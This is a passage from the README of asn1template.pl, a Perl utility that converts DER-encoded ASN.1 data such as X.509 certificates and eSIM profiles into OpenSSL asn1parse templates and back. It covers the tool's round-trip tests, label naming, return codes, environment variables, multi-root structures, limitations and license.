https://github.com/johndoe31415/x509-cert-testcorpus (~1.7M certificates). 164 | 165 | The tests consist in the conversion from DER to template using 166 | ```asn1template.pl```, then back to DER using the ```-genconf``` option of the 167 | ```asn1parse``` OpenSSL app. The resulting DER file should be identical to the original one. 168 | From the 1 740 319 available certificates, only 32 do not pass the conversion tests. 169 | 170 | The reasons were: 171 | - Illegal characters in PrintableStrings for 30 of them 172 | - Line feed in an OCTET STRING for another one 173 | - Unicode butchery for the last one 174 | 175 | (See [limitations](#limitations) section below for more info) 176 | 177 | 178 | ### Dependencies 179 | 180 | - perl 181 | - openssl 182 | 183 | 184 | ### Naming Convention 185 | 186 | Fields and sequences/sets naming convention is the following: 187 | ``` 188 | [type][id]@[offset]-[header_length]-[length] 189 | ``` 190 | where 191 | - [type] is either the string "field", "seq" or "set", 192 | - [id] is a incremental numeric identifier, 193 | - [offset] is the offset of the object or sequence in the original encoded file, 194 | - [header_length] is length of the header preceding the data in the original encoded file, 195 | - [length] is the length of the data in the original encoded file. 196 | 197 | For instance, 198 | ``` 199 | seq2@3-4-567 200 | ``` 201 | is the second sequence. It is located at the third byte in the original 202 | encoded file. The header preceding the data is encoded using 4 bytes and the 203 | data account for 567 bytes for this sequence. 204 | 205 | Complex labels can be disabled using '-s' option (or long version '--simple-labels'). 206 | In this case labels will have the following form: 207 | ``` 208 | [type][id] 209 | ``` 210 | 211 | ### Output & Return Codes 212 | 213 | The template is printed on STDOUT, error messages are printed on STDERR, if 214 | any. 215 | 216 | Return codes: 217 | - ```0```: Success. 218 | - ```1```: Command line arguments error. 219 | - ```2```: Unparseable line encountered. 220 | - ```3```: Indefinite length encoding detected. 221 | - ```4```: Unable to unwrap top-level SEQUENCE. 222 | 223 | ### Environment variables 224 | 225 | You can instruct ```asn1template.pl``` to use an alternate ```openssl``` binary 226 | by setting the OPENSSL environment variable. 227 | Note that, depending on your setup, you might want to reference or preload 228 | matching dynamic libraries such as ```libcrypto.so``` and ```libssl.so``` by 229 | setting LD_LIBRARY_PATH or LD_PRELOAD. 230 | 231 | ```console 232 | $ export OPENSSL=/home/user/openssl-3.4.0/apps/openssl 233 | $ ${OPENSSL} version 234 | /home/user/openssl-3.4.0/apps/openssl: /lib/x86_64-linux-gnu/libssl.so.3: version `OPENSSL_3.4.0' not found (required by /home/user/openssl-3.4.0/apps/openssl) 235 | /home/user/openssl-3.4.0/apps/openssl: /lib/x86_64-linux-gnu/libssl.so.3: version `OPENSSL_3.2.0' not found (required by /home/user/openssl-3.4.0/apps/openssl) 236 | /home/user/openssl-3.4.0/apps/openssl: /lib/x86_64-linux-gnu/libcrypto.so.3: version `OPENSSL_3.3.0' not found (required by /home/user/openssl-3.4.0/apps/openssl) 237 | /home/user/openssl-3.4.0/apps/openssl: /lib/x86_64-linux-gnu/libcrypto.so.3: version `OPENSSL_3.4.0' not found (required by /home/user/openssl-3.4.0/apps/openssl) 238 | /home/user/openssl-3.4.0/apps/openssl: /lib/x86_64-linux-gnu/libcrypto.so.3: version `OPENSSL_3.2.0' not found (required by /home/user/openssl-3.4.0/apps/openssl) 239 | $ export LD_LIBRARY_PATH=/home/user/openssl-3.4.0 240 | $ ${OPENSSL} version 241 | OpenSSL 3.4.0 22 Oct 2024 (Library: OpenSSL 3.4.0 22 Oct 2024) 242 | $ ./asn1template.pl --pem /etc/ssl/certs/Amazon_Root_CA_3.pem | tee Amazon_Root_CA_3.tpl 243 | asn1 = SEQUENCE:seq1@0-4-438 244 | [seq1@0-4-438] 245 | [...] 246 | ``` 247 | 248 | ### Multi-root data structures 249 | 250 | The ```asn1parse``` OpenSSL app is able to read concatenated DER structures as 251 | if it was a single structure. The result is a dump with multiple objects at 252 | depth 0. 253 | 254 | Here is an example of such structure: 255 | 256 | ```console 257 | $ openssl asn1parse -in 'TS48 V5.0 eSIM_GTP_SAIP2.3_BERTLV_SUCI.der' -inform D -i 258 | 0:d=0 hl=3 l= 159 cons: cont [ 0 ] 259 | [...] 260 | 162:d=0 hl=4 l= 775 cons: cont [ 16 ] 261 | [...] 262 | 941:d=0 hl=2 l= 40 cons: cont [ 3 ] 263 | [...] 264 | 983:d=0 hl=2 l= 76 cons: cont [ 2 ] 265 | [...] 266 | 1061:d=0 hl=4 l= 531 cons: cont [ 18 ] 267 | [...] 268 | ``` 269 | 270 | The ```-genconf``` option of the ```asn1parse``` OpenSSL app is not able to 271 | generate such multi-root structures. In order to deal with this issue, the 272 | ```asn1template.pl``` command, with its ```--multi-root``` option, produces a 273 | template that wraps the concatenated structures into a top-level SEQUENCE. 274 | This wrapping sequence can then be stripped using the ```--unwrap``` option 275 | after template edition. 276 | 277 | Here is a full example, based on an eSIM test file 278 | (coming from https://github.com/GSMATerminals/Generic-eUICC-Test-Profile-for-Device-Testing-Public/): 279 | 280 | ```console 281 | $ ./asn1template.pl --multi-root 'TS48 V5.0 eSIM_GTP_SAIP2.3_BERTLV_SUCI.der' > 'TS48 V5.0 eSIM_GTP_SAIP2.3_BERTLV_SUCI.der.tpl' 282 | $ openssl asn1parse -genconf 'TS48 V5.0 eSIM_GTP_SAIP2.3_BERTLV_SUCI.der.tpl' -out 'TS48 V5.0 eSIM_GTP_SAIP2.3_BERTLV_SUCI.der.tpl.der' 283 | $ ./asn1template.pl --unwrap 'TS48 V5.0 eSIM_GTP_SAIP2.3_BERTLV_SUCI.der.tpl.der' 284 | Output written to file "TS48 V5.0 eSIM_GTP_SAIP2.3_BERTLV_SUCI.der.tpl.der.unwrapped" in DER format. 285 | $ diff 'TS48 V5.0 eSIM_GTP_SAIP2.3_BERTLV_SUCI.der' 'TS48 V5.0 eSIM_GTP_SAIP2.3_BERTLV_SUCI.der.tpl.der.unwrapped' 286 | $ echo $? 287 | 0 288 | ``` 289 | 290 | ## Testing 291 | 292 | A mostly complete test script can be executed from project root: 293 | 294 | ```console 295 | $ ./tests/run_tests.sh 296 | ``` 297 | 298 | ## Limitations 299 | 300 | This script was written many years ago as a quick and dirty PoC. It was then 301 | improved to support DER structures found in the wild (i.e. certificates). 302 | 303 | This tool has the same limitations as ```ASN1_generate_nconf(3)```: 304 | - it does not support indefinite length encoding since DER forbids it, regular 305 | length encoding is used instead. EOC tags are preserved. 306 | - it might produce a template that is not supported by ASN1_generate_nconf(3), 307 | this is the case with some CN encoded as PrintableString that contain 308 | forbidden characters such as ```*```, ```@```, ```&``` or ```_``` 309 | (https://en.wikipedia.org/wiki/PrintableString). 310 | 311 | It will not output explicit tags as is, instead it will output a combination of 312 | implicit tags and sequences that will ultimately produce an equivalent output. 313 | Please refer to example #5 in [examples](EXAMPLES.md) section. 314 | 315 | Line feeds in OCTET STRINGs break the conversion. 316 | 317 | Unicode strings are sometimes broken and might require manual adjustments. 318 | 319 | ENUM and some string types are not supported yet by ```asn1template.pl```. 320 | 321 | ## License 322 | 323 | Copyright (c) 2022-2025 William Robinet 324 | 325 | Permission to use, copy, modify, and distribute this software for any 326 | purpose with or without fee is hereby granted, provided that the above 327 | copyright notice and this permission notice appear in all copies. 328 | 329 | THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES 330 | WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF 331 | MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR 332 | ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES 333 | WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN 334 | ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF 335 | OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. 336 | --------------------------------------------------------------------------------